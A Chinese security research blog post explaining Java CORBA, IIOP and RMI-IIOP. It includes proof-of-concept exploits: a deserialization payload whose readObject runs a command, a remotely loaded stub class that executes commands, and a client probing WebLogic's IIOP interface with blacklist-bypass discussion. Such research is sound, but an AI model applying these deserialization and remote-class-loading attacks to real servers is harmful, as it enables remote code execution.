您好,登錄后才能下訂單哦!
本篇文章為大家展示了如何理解Java 中的RMI-IIOP,內(nèi)容簡明扼要并且容易理解,絕對能使你眼前一亮,通過這篇文章的詳細介紹希望你能有所收獲。
文中的測試代碼放到了 github上
測試代碼的JDK版本在文中會具體說明,有的代碼會被重復(fù)使用,對應(yīng)的JDK版本需要自己切換
在閱讀下面內(nèi)容之前,可以先閱讀下以下幾個鏈接的內(nèi)容,包含了一些基本的概念留個印象:
https://docs.oracle.com/javase/8/docs/technotes/guides/idl/GShome.html[3]
https://docs.oracle.com/javase/8/docs/technotes/guides/rmi-iiop/rmi_iiop_pg.html[4]
https://docs.oracle.com/javase/8/docs/technotes/guides/rmi-iiop/tutorial.html#7738[5]
Java IDL是一種用于分布式對象的技術(shù),即對象在網(wǎng)絡(luò)上的不同平臺上進行交互。Java IDL使對象能夠進行交互,而不管它們是以Java編程語言還是C,C ++,COBOL或其他語言編寫的。這是可能的,因為Java IDL基于通用對象請求代理體系結(jié)構(gòu)(CORBA),即行業(yè)標準的分布式對象模型。CORBA的主要功能是IDL,一種與語言無關(guān)的接口定義語言。每種支持CORBA的語言都有自己的IDL映射-顧名思義,Java IDL支持Java映射。為了支持單獨程序中對象之間的交互,Java IDL提供了一個對象請求代理或ORB(Object Request Broker)。ORB是一個類庫,可在Java IDL應(yīng)用程序與其他符合CORBA的應(yīng)用程序之間進行低層級的通信。
CORBA,Common ObjectRequest Broker Architecture(公共對象請求代理體系結(jié)構(gòu)),是由OMG組織制訂的一種標準的面向?qū)ο髴?yīng)用程序體系規(guī)范。CORBA使用接口定義語言(IDL),用于指定對象提供給外部的接口。然后,CORBA指定從IDL到特定實現(xiàn)語言(如Java)的映射。CORBA規(guī)范規(guī)定應(yīng)有一個對象請求代理(ORB),通過該對象應(yīng)用程序與其他對象進行交互。通用InterORB協(xié)議(GIOP)摘要協(xié)議的創(chuàng)建是為了允許ORB間的通信,并提供了幾種具體的協(xié)議,包括Internet InterORB協(xié)議(IIOP),它是GIOP的實現(xiàn),可用于Internet,并提供GIOP消息和TCP/IP層之間的映射。
IIOP,Internet Inter-ORB Protocol(互聯(lián)網(wǎng)內(nèi)部對象請求代理協(xié)議),它是一個用于CORBA 2.0及兼容平臺上的協(xié)議;用來在CORBA對象請求代理之間交流的協(xié)議。Java中使得程序可以和其他語言的CORBA實現(xiàn)互操作性的協(xié)議。
RMI-IIOP出現(xiàn)以前,只有RMI和CORBA兩種選擇來進行分布式程序設(shè)計,二者之間不能協(xié)作。RMI-IIOP綜合了RMI 和CORBA的優(yōu)點,克服了他們的缺點,使得程序員能更方便的編寫分布式程序設(shè)計,實現(xiàn)分布式計算。RMI-IIOP綜合了RMI的簡單性和CORBA的多語言性兼容性,RMI-IIOP克服了RMI只能用于Java的缺點和CORBA的復(fù)雜性(可以不用掌握IDL)。
在CORBA客戶端和服務(wù)器之間進行遠程調(diào)用模型如下:
在客戶端,應(yīng)用程序包含遠程對象的引用,對象引用具有存根方法,存根方法是遠程調(diào)用該方法的替身。存根實際上是連接到ORB的,因此調(diào)用它會調(diào)用ORB的連接功能,該功能會將調(diào)用轉(zhuǎn)發(fā)到服務(wù)器。
在服務(wù)器端,ORB使用框架代碼將遠程調(diào)用轉(zhuǎn)換為對本地對象的方法調(diào)用??蚣軐⒄{(diào)用和任何參數(shù)轉(zhuǎn)換為其特定于實現(xiàn)的格式,并調(diào)用客戶端想要調(diào)用的方法。方法返回時,框架代碼將轉(zhuǎn)換結(jié)果或錯誤,然后通過ORB將其發(fā)送回客戶端。
在ORB之間,通信通過共享協(xié)議IIOP進行。基于標準TCP/IP Internet協(xié)議的IIOP定義了兼容CORBA的ORB如何來回傳遞信息。
編寫一個Java CORBA IIOP遠程調(diào)用步驟:
使用idl定義遠程接口
使用idlj編譯idl,將idl映射為Java,它將生成接口的Java版本類以及存根和骨架的類代碼文件,這些文件使應(yīng)用程序可以掛接到ORB。在遠程調(diào)用的客戶端與服務(wù)端編寫代碼中會使用到這些類文件。
編寫服務(wù)端代碼
編寫客戶端代碼
依次啟動命名服務(wù)->服務(wù)端->客戶端
好了,用代碼感受下( github找到一份現(xiàn)成的代碼可以直接用,不過做了一些修改):
1、2步驟作者已經(jīng)幫我們生成好了,生成的代碼在 EchoApp目錄
服務(wù)端:
//服務(wù)端package com.longofo.corba.example;import com.longofo.corba.example.EchoApp.Echo;import com.longofo.corba.example.EchoApp.EchoHelper;import org.omg.CORBA.ORB;import org.omg.CosNaming.NameComponent;import org.omg.CosNaming.NamingContextExt;import org.omg.CosNaming.NamingContextExtHelper;import org.omg.PortableServer.POA;import org.omg.PortableServer.POAHelper;public class Server { public static void main(String[] args) { if (args.length == 0) { args = new String[4]; args[0] = "-ORBInitialPort"; args[1] = "1050"; args[2] = "-ORBInitialHost"; args[3] = "localhost"; } try { //創(chuàng)建并初始化ORB ORB orb = ORB.init(args, null); //獲取根POA的引用并激活POAManager POA rootpoa = POAHelper.narrow(orb.resolve_initial_references("RootPOA")); rootpoa.the_POAManager().activate(); //創(chuàng)建servant EchoImpl echoImpl = new EchoImpl(); //獲取與servant關(guān)聯(lián)的對象引用 org.omg.CORBA.Object ref = rootpoa.servant_to_reference(echoImpl); Echo echoRef = EchoHelper.narrow(ref); //為所有CORBA ORB定義字符串"NameService"。當傳遞該字符串時,ORB返回一個命名上下文對象,該對象是名稱服務(wù)的對象引用 org.omg.CORBA.Object objRef = orb.resolve_initial_references("NameService"); NamingContextExt ncRef = NamingContextExtHelper.narrow(objRef); NameComponent path[] = ncRef.to_name("ECHO-SERVER"); ncRef.rebind(path, echoRef); System.out.println("Server ready and waiting..."); //等待客戶端調(diào)用 orb.run(); } catch (Exception ex) { ex.printStackTrace(); } }}
客戶端:
//客戶端package com.longofo.corba.example;import com.longofo.corba.example.EchoApp.Echo;import com.longofo.corba.example.EchoApp.EchoHelper;import org.omg.CORBA.ORB;import org.omg.CosNaming.NamingContextExt;import org.omg.CosNaming.NamingContextExtHelper;public class Client { public static void main(String[] args) { if (args.length == 0) { args = new String[4]; args[0] = "-ORBInitialPort"; args[1] = "1050"; args[2] = "-ORBInitialHost"; args[3] = "localhost"; } try { //創(chuàng)建并初始化ORB ORB orb = ORB.init(args, null); org.omg.CORBA.Object objRef = orb.resolve_initial_references("NameService"); NamingContextExt ncRef = NamingContextExtHelper.narrow(objRef); Echo href = EchoHelper.narrow(ncRef.resolve_str("ECHO-SERVER")); String hello = href.echoString(); System.out.println(hello); } catch (Exception ex) { ex.printStackTrace(); } }}//使用Jndi查詢客戶端package com.longofo.corba.example;import com.alibaba.fastjson.JSON;import com.longofo.corba.example.EchoApp.Echo;import com.longofo.corba.example.EchoApp.EchoHelper;import javax.naming.*;import java.io.IOException;import java.util.HashMap;import java.util.Hashtable;import java.util.Map;public class JndiClient { /** * 列出所有遠程對象名 */ public final static String JNDI_FACTORY = "com.sun.jndi.cosnaming.CNCtxFactory"; public static void main(String[] args) throws NamingException, IOException, ClassNotFoundException { InitialContext initialContext = getInitialContext("iiop://127.0.0.1:1050"); //列出所有遠程對象名 System.out.println(JSON.toJSONString(listAllEntries(initialContext), true)); System.out.println("-----------call remote method--------------"); Echo echoRef = EchoHelper.narrow((org.omg.CORBA.Object) initialContext.lookup("ECHO-SERVER")); System.out.println(echoRef.echoString()); } private static Map listAllEntries(Context initialContext) throws NamingException { String namespace = initialContext instanceof InitialContext ? initialContext.getNameInNamespace() : ""; HashMap<String, Object> map = new HashMap<String, Object>(); System.out.println("> Listing namespace: " + namespace); NamingEnumeration<NameClassPair> list = initialContext.list(namespace); while (list.hasMoreElements()) { NameClassPair next = list.next(); String name = next.getName(); String jndiPath = namespace + name; HashMap<String, Object> lookup = new HashMap<String, Object>(); try { System.out.println("> Looking up name: " + jndiPath); Object tmp = initialContext.lookup(jndiPath); if (tmp instanceof Context) { lookup.put("class", tmp.getClass()); lookup.put("interfaces", tmp.getClass().getInterfaces()); Map<String, Object> entries = listAllEntries((Context) tmp); for (Map.Entry<String, Object> entry : entries.entrySet()) { String key = entry.getKey(); if (key != null) { lookup.put(key, entries.get(key)); break; } } } else { lookup.put("class", tmp.getClass()); lookup.put("interfaces", tmp.getClass().getInterfaces()); } } catch (Throwable t) { lookup.put("error msg", t.toString()); Object tmp = initialContext.lookup(jndiPath); lookup.put("class", tmp.getClass()); lookup.put("interfaces", tmp.getClass().getInterfaces()); } map.put(name, lookup); } return map; } private static InitialContext getInitialContext(String url) throws NamingException { Hashtable env = new Hashtable(); env.put(Context.INITIAL_CONTEXT_FACTORY, JNDI_FACTORY); env.put(Context.PROVIDER_URL, url); return new InitialContext(env); }}
客戶端使用了兩種方式,一種是COSNaming查詢,另一種是Jndi查詢,兩種方式都可以,在jdk1.8.0_181測試通過。
首先啟動一個命名服務(wù)器(可以理解為rmi的registry),使用ordb啟動如下,orbd默認自帶(如果你有jdk環(huán)境的話):
然后啟動服務(wù)端corba-iiop/src/main/java/com/longofo/example/Server.java,在啟動corba-iiop/src/main/java/com/longofo/example/Client.java或JndiClient.java即可。
這里看下JndiClient的結(jié)果:
> Listing namespace: > Looking up name: ECHO-SERVER{ "ECHO-SERVER":{ "interfaces":[], "class":"com.sun.corba.se.impl.corba.CORBAObjectImpl" }}-----------call remote method--------------Hello World!!!
注意到那個class不是沒有獲取到原本的EchoImpl類對應(yīng)的Stub class,而我們之前rmi測試也用過這個list查詢,那時候是能查詢到遠程對象對應(yīng)的stub類名的。這可能是因為Corba的實現(xiàn)機制的原因,com.sun.corba.se.impl.corba.CORBAObjectImpl
是一個通用的Corba對象類,而上面的narrow調(diào)用EchoHelper.narrow
就是一種將對象變窄的方式轉(zhuǎn)換為Echo Stub對象,然后才能調(diào)用echoString方法,并且每一個遠程對象的調(diào)用都要使用它對應(yīng)的xxxHelper。
下面是Corba客戶端與服務(wù)端通信包:
第1、2個包是客戶端與ordb通信的包,后面就是客戶端與服務(wù)端通信的包??梢钥吹降诙€數(shù)據(jù)包的IOR(Interoperable Object Reference)中包含著服務(wù)端的ip、port等信息,意思就是客戶端先從ordb獲取服務(wù)端的信息,然后接著與服務(wù)端通信。同時這些數(shù)據(jù)中也沒有平常所說的ac ed 00 05
標志,但是其實反序列化的數(shù)據(jù)被包裝了,在后面的RMI-IIOP中有一個例子會進行說明。
IOR幾個關(guān)鍵字段:
Type ID:接口類型,也稱為存儲庫ID格式。本質(zhì)上,存儲庫ID是接口的唯一標識符。例如上面的IDL:omg.org/CosNaming/NamingContext:1.0
IIOP version:描述由ORB實現(xiàn)的IIOP版本
Host:標識ORB主機的TCP/IP地址
Port:指定ORB在其中偵聽客戶端請求的TCP/IP端口號
Object Key:唯一地標識了被ORB導(dǎo)出的servant
Components:包含適用于對象方法的附加信息的序列,例如支持的ORB服務(wù)和專有協(xié)議支持等
Codebase:用于獲取stub類的遠程位置。通過控制這個屬性,攻擊者將控制在服務(wù)器中解碼IOR引用的類,在后面利用中我們能夠看到。
只使用Corba進行遠程調(diào)用很麻煩,要編寫IDL文件,然后手動生成對應(yīng)的類文件,同時還有一些其他限制,然后就有了RMI-IIOP,結(jié)合了Corba、RMI的優(yōu)點。
編寫一個RMI IIOP遠程調(diào)用步驟:
定義遠程接口類
編寫實現(xiàn)類
編寫服務(wù)端
編寫客戶端
編譯代碼并為服務(wù)端與客戶端生成對應(yīng)的使用類
下面直接給出一種惡意利用的demo場景。
服務(wù)端:
package com.longofo.example;import javax.naming.Context;import javax.naming.InitialContext;import javax.naming.NamingException;import java.util.Hashtable;public class HelloServer { public final static String JNDI_FACTORY = "com.sun.jndi.cosnaming.CNCtxFactory"; public static void main(String[] args) { try { //實例化Hello servant HelloImpl helloRef = new HelloImpl(); //使用JNDI在命名服務(wù)中發(fā)布引用 InitialContext initialContext = getInitialContext("iiop://127.0.0.1:1050"); initialContext.rebind("HelloService", helloRef); System.out.println("Hello Server Ready..."); Thread.currentThread().join(); } catch (Exception ex) { ex.printStackTrace(); } } private static InitialContext getInitialContext(String url) throws NamingException { Hashtable env = new Hashtable(); env.put(Context.INITIAL_CONTEXT_FACTORY, JNDI_FACTORY); env.put(Context.PROVIDER_URL, url); return new InitialContext(env); }}
客戶端:
package com.longofo.example;import javax.naming.Context;import javax.naming.InitialContext;import javax.naming.NamingException;import javax.rmi.PortableRemoteObject;import java.util.Hashtable;public class HelloClient { public final static String JNDI_FACTORY = "com.sun.jndi.cosnaming.CNCtxFactory"; public static void main(String[] args) { try { InitialContext initialContext = getInitialContext("iiop://127.0.0.1:1050"); //從命名服務(wù)獲取引用 Object objRef = initialContext.lookup("HelloService"); //narrow引用為具體的對象 HelloInterface hello = (HelloInterface) PortableRemoteObject.narrow(objRef, HelloInterface.class); EvilMessage message = new EvilMessage(); message.setMsg("Client call method sayHello..."); hello.sayHello(message); } catch (Exception ex) { ex.printStackTrace(); } } private static InitialContext getInitialContext(String url) throws NamingException { Hashtable env = new Hashtable(); env.put(Context.INITIAL_CONTEXT_FACTORY, JNDI_FACTORY); env.put(Context.PROVIDER_URL, url); return new InitialContext(env); }}
假設(shè)在服務(wù)端中存在EvilMessage這個能進行惡意利用的類,在客戶端中編寫同樣包名類名相同的類,并繼承HelloInterface.sayHello(Message msg)
方法中Message類:
package com.longofo.example;import java.io.ObjectInputStream;public class EvilMessage extends Message { private void readObject(ObjectInputStream s) { try { s.defaultReadObject(); Runtime.getRuntime().exec("calc"); } catch (Exception ex) { ex.printStackTrace(); } }}
先編譯好上面的代碼,然后生成服務(wù)端與客戶端進行遠程調(diào)用的代理類:
rmic -iiop com.longofo.example.HelloImpl
執(zhí)行完成后,在下面生成了兩個類(Tie用于服務(wù)端,Stub用于客戶端):
啟動一個命名服務(wù)器:
orbd -ORBInitialPort 1050 -ORBInitialHost loaclhost
啟動服務(wù)端rmi-iiop/src/main/java/com/longofo/example/HelloServer.java,再啟動客戶端rmi-iiop/src/main/java/com/longofo/example/HelloClient.java即可看到計算器彈出,在JDK 1.8.1_181測試通過。
服務(wù)端調(diào)用棧如下:
注意那個_HelloImpl_Tie.read_value
,這是在19年BlackHat議題
"An-Far-Sides-Of-Java-Remote-Protocols"[1]提到的,如果直接看那個pdf中關(guān)于RMI-IIOP的內(nèi)容,可能會一臉懵逼,因為議題中沒有上面這些前置信息,有了上面這些信息,再去看那個議題的內(nèi)容可能會輕松些。通過調(diào)用棧我們也能看到,IIOP通信中的某些數(shù)據(jù)被還原成了CDRInputStream,這是InputStream的子類,而被包裝的數(shù)據(jù)在下面Stub data這里:
最后通過反射調(diào)用到了EvilMessage的readObject,看到這里其實就清楚一些了。不過事實可能會有些殘酷,不然為什么關(guān)于RMI-IIOP的漏洞很少看到,看看下面Weblogic RMI-IIOP來感受下。
Weblogic默認是開啟了iiop協(xié)議的,如果是上面這樣的話,看通信數(shù)據(jù)以及上面的調(diào)用過程極大可能是不會經(jīng)過Weblogic的黑名單了。
直接用代碼測試吧(利用的Weblogic自帶的JDK 1.6.0_29測試):
import com.alibaba.fastjson.JSON;import javax.ejb.RemoveException;import javax.management.j2ee.ManagementHome;import javax.naming.*;import javax.rmi.PortableRemoteObject;import java.io.IOException;import java.util.HashMap;import java.util.Hashtable;import java.util.Map;public class PayloadIiop { public final static String JNDI_FACTORY = "com.sun.jndi.cosnaming.CNCtxFactory"; public static void main(String[] args) throws NamingException, IOException, ClassNotFoundException, RemoveException { InitialContext initialContext = getInitialContext("iiop://127.0.0.1:7001"); System.out.println(JSON.toJSONString(listAllEntries(initialContext), true)); Object objRef = initialContext.lookup("ejb/mgmt/MEJB"); ManagementHome managementHome = (ManagementHome) PortableRemoteObject.narrow(objRef, ManagementHome.class); managementHome.remove(new Object());//這里只是測試能否成功調(diào)用到remove方法,如果能成功調(diào)用,Object按照上面RMI-IIOP那種方式惡意利用 } private static Map listAllEntries(Context initialContext) throws NamingException { String namespace = initialContext instanceof InitialContext ? initialContext.getNameInNamespace() : ""; HashMap<String, Object> map = new HashMap<String, Object>(); System.out.println("> Listing namespace: " + namespace); NamingEnumeration<NameClassPair> list = initialContext.list(namespace); while (list.hasMoreElements()) { NameClassPair next = list.next(); String name = next.getName(); String jndiPath = namespace + name; HashMap<String, Object> lookup = new HashMap<String, Object>(); try { System.out.println("> Looking up name: " + jndiPath); Object tmp = initialContext.lookup(jndiPath); if (tmp instanceof Context) { lookup.put("class", tmp.getClass()); lookup.put("interfaces", tmp.getClass().getInterfaces()); Map<String, Object> entries = listAllEntries((Context) tmp); for (Map.Entry<String, Object> entry : entries.entrySet()) { String key = entry.getKey(); if (key != null) { lookup.put(key, entries.get(key)); break; } } } else { lookup.put("class", tmp.getClass()); lookup.put("interfaces", tmp.getClass().getInterfaces()); } } catch (Throwable t) { lookup.put("error msg", t.toString()); Object tmp = initialContext.lookup(jndiPath); lookup.put("class", tmp.getClass()); lookup.put("interfaces", tmp.getClass().getInterfaces()); } map.put(name, lookup); } return map; } private static InitialContext getInitialContext(String url) throws NamingException { Hashtable env = new Hashtable(); env.put(Context.INITIAL_CONTEXT_FACTORY, JNDI_FACTORY); env.put(Context.PROVIDER_URL, url); return new InitialContext(env); }}
list查詢結(jié)果如下:
> Listing namespace: > Looking up name: weblogic > Listing namespace: > Looking up name: ejb > Listing namespace: > Looking up name: mgmt > Listing namespace: > Looking up name: MEJB > Looking up name: javax > Listing namespace: > Looking up name: mejbmejb_jarMejb_EO{ "ejb":{ "mgmt":{ "MEJB":{ "interfaces":[], "class":"com.sun.corba.se.impl.corba.CORBAObjectImpl" }, "interfaces":["javax.naming.Context"], "class":"com.sun.jndi.cosnaming.CNCtx" }, "interfaces":["javax.naming.Context"], "class":"com.sun.jndi.cosnaming.CNCtx" }, "javax":{ "error msg":"org.omg.CORBA.NO_PERMISSION: vmcid: 0x0 minor code: 0 completed: No", "interfaces":["javax.naming.Context"], "class":"com.sun.jndi.cosnaming.CNCtx" }, "mejbmejb_jarMejb_EO":{ "interfaces":[], "class":"com.sun.corba.se.impl.corba.CORBAObjectImpl" }, "weblogic":{ "error msg":"org.omg.CORBA.NO_PERMISSION: vmcid: 0x0 minor code: 0 completed: No", "interfaces":["javax.naming.Context"], "class":"com.sun.jndi.cosnaming.CNCtx" }}
這些遠程對象的名稱和通過默認的rmi://協(xié)議查詢的結(jié)果是一樣的,只是class和interfaces不同。
但是到managementHome.remove
就報錯了,managementHome為null。在上面RMI-IIOP的測試中,客戶端要調(diào)用遠程需要用到客戶端的Stub類,去查找了下ejb/mgmt/MEJB
對應(yīng)的實現(xiàn)類weblogic.management.j2ee.mejb.Mejb_dj5nps_HomeImpl
,他有一個Stub類為weblogic.management.j2ee.mejb.Mejb_dj5nps_HomeImpl_1036_WLStub
,但是這個Stub類是為默認的RMI JRMP方式生成的,并沒有為IIOP調(diào)用生成客戶端與服務(wù)端類,只是綁定了一個名稱。
通過一些查找,每一個IIOP遠程對象對應(yīng)的Tie類和Stub類都會有一個特征:
根據(jù)這個特征,在Weblogic中確實有很多這種已經(jīng)為IIOP調(diào)用生成的客戶端Stub類,例如_MBeanHomeImpl_Stub
類,是MBeanHomeImpl
客戶端的Stub類:
一個很尷尬的事情就是,Weblogic默認綁定了遠程名稱的實現(xiàn)類沒有為IIOP實現(xiàn)服務(wù)端類與客戶端類,但是沒有綁定的一些類卻實現(xiàn)了,所以默認無法利用了。
剛才調(diào)用失敗了,來看下沒有成功調(diào)用的通信:
在COSNaming查詢包之后,服務(wù)端返回了type_ip為RMI:javax.management.j2ee.ManagementHome:0000000000000000
的標志,
然后下一個包又繼續(xù)了一個_is_a
查詢:
下一個包就返回了type_id not match:
可以猜測的是服務(wù)端沒有生成IIOP對應(yīng)的服務(wù)端與客戶端類,然后命名服務(wù)器中找不到關(guān)于的RMI:javax.management.j2ee.ManagementHome:0000000000000000
標記,通過查找也確實沒有找到對應(yīng)的類。
不過上面這種利用方式只是在代碼層調(diào)用遵守了Corba IIOP的一些規(guī)范,規(guī)規(guī)矩矩的調(diào)用,在協(xié)議層能不能通過替換、修改等操作進行構(gòu)造與利用,能力有限,未深入研究IIOP通信過程。
在今年的那個議題RMI-IIOP部分,給出了Websphere一個攔截器類TxServerInterceptor中使用到read_any
方法的情況,從這個名字中可以看出是一個攔截器,所以基本上所有請求都會經(jīng)過這里。這里最終也調(diào)用到read_value
,就像上面的_HelloImpl_Tie.read_value
一樣,這里也能進行可以利用,只要目標服務(wù)器存在可利用的鏈,作者也給出了一些Websphere中的利用鏈??梢钥吹?,不只是在遠程調(diào)用中會存在惡意利用的地方,在其他地方也可能以另一種方式存在,不過在方法調(diào)用鏈中核心的幾個地方依然沒有變,CDRInputStream
與read_value
,可能手動去找這些特征很累甚至可能根本找不到,那么龐大的代碼量,不過要是有所有的方法調(diào)用鏈,例如GatgetInspector那種工具,之前
初步分析過這個工具。這是后面的打算了,目標是自由的編寫自己的控制邏輯。
在JNDI利用中有多種的利用方式,而RMI-IIOP只是默認RMI利用方式(通過JRMP傳輸)的替代品,在RMI默認利用方式無法利用時,可以考慮用這種方式。但是這種方式依然會受到SecurityManager的限制。
在RMI-IIOP測試代碼中,我把client與server放在了一起,客戶端與服務(wù)端使用的Tie與Stub也放在了一起,可能會感到迷惑。那下面我們就單獨把Client拿出來進行測試以及看下遠程加載。
服務(wù)端代碼還是使用RMI-IIOP中的Server,但是加了一個codebase:
package com.longofo.example;import javax.naming.Context;import javax.naming.InitialContext;import javax.naming.NamingException;import java.util.Hashtable;public class HelloServer { public final static String JNDI_FACTORY = "com.sun.jndi.cosnaming.CNCtxFactory"; public static void main(String[] args) { try { System.setProperty("java.rmi.server.codebase", "http://127.0.0.1:8000/"); //實例化Hello servant HelloImpl helloRef = new HelloImpl(); //使用JNDI在命名服務(wù)中發(fā)布引用 InitialContext initialContext = getInitialContext("iiop://127.0.0.1:1050"); initialContext.rebind("HelloService", helloRef); System.out.println("Hello Server Ready..."); Thread.currentThread().join(); } catch (Exception ex) { ex.printStackTrace(); } } private static InitialContext getInitialContext(String url) throws NamingException { Hashtable env = new Hashtable(); env.put(Context.INITIAL_CONTEXT_FACTORY, JNDI_FACTORY); env.put(Context.PROVIDER_URL, url); return new InitialContext(env); }}
Client代碼在新建的 rmi-iiop-test-client模塊,這樣模塊之間不會受到影響,Client代碼如下:
package com.longofo.example;import javax.naming.Context;import javax.naming.InitialContext;import javax.naming.NamingException;import java.rmi.RMISecurityManager;import java.util.Hashtable;public class HelloClient { public final static String JNDI_FACTORY = "com.sun.jndi.cosnaming.CNCtxFactory"; public static void main(String[] args) { try { System.setProperty("java.security.policy", HelloClient.class.getClassLoader().getResource("java.policy").getFile()); RMISecurityManager securityManager = new RMISecurityManager(); System.setSecurityManager(securityManager); InitialContext initialContext = getInitialContext("iiop://127.0.0.1:1050"); //從命名服務(wù)獲取引用 initialContext.lookup("HelloService"); } catch (Exception ex) { ex.printStackTrace(); } } private static InitialContext getInitialContext(String url) throws NamingException { Hashtable env = new Hashtable(); env.put(Context.INITIAL_CONTEXT_FACTORY, JNDI_FACTORY); env.put(Context.PROVIDER_URL, url); return new InitialContext(env); }}
然后我在remote-class模塊增加了一個com.longofo.example._HelloInterface_Stub
:
package com.longofo.example;import java.io.BufferedInputStream;import java.io.BufferedReader;import java.io.InputStreamReader;public class _HelloInterface_Stub { static { //這里由于在static代碼塊中,無法直接拋異常外帶數(shù)據(jù),不過有其他方式外帶數(shù)據(jù),可以自己查找下。沒寫在構(gòu)造函數(shù)中是因為項目中有些利用方式不會調(diào)用構(gòu)造參數(shù),所以為了方標直接寫在static代碼塊中 try { exec("calc"); } catch (Exception e) { e.printStackTrace(); } } public static void exec(String cmd) throws Exception { String sb = ""; BufferedInputStream in = new BufferedInputStream(Runtime.getRuntime().exec(cmd).getInputStream()); BufferedReader inBr = new BufferedReader(new InputStreamReader(in)); String lineStr; while ((lineStr = inBr.readLine()) != null) sb += lineStr + "\n"; inBr.close(); in.close(); throw new Exception(sb); }}
啟動遠程類服務(wù)remote-class/src/main/java/com/longofo/remoteclass/HttpServer.java,再啟動rmi-iiop/src/main/java/com/longofo/example/HelloServer.java,然后運行客戶端rmi-iiop-test-client/src/main/java/com/longofo/example/HelloClient.java即可彈出計算器。在JDK 1.8.0_181測試通過。
至于為什么進行了遠程調(diào)用,在CDRInputStream_1_0.read_object
下個斷點,然后跟蹤就會明白了,最后還是利用了rmi的遠程加載功能:
遺憾就是沒有成功在Weblogic中利用到RMI-IIOP,在這里寫出來提供一些思路,如果大家有關(guān)于RMI-IIOP的其他發(fā)現(xiàn)與想法也記得分享下。不知道大家有沒有關(guān)于RMI-IIOP比較好的真實案例。
上述內(nèi)容就是如何理解Java 中的RMI-IIOP,你們學(xué)到知識或技能了嗎?如果還想學(xué)到更多技能或者豐富自己的知識儲備,歡迎關(guān)注億速云行業(yè)資訊頻道。
免責聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點不代表本網(wǎng)站立場,如果涉及侵權(quán)請聯(lián)系站長郵箱:is@yisu.com進行舉報,并提供相關(guān)證據(jù),一經(jīng)查實,將立刻刪除涉嫌侵權(quán)內(nèi)容。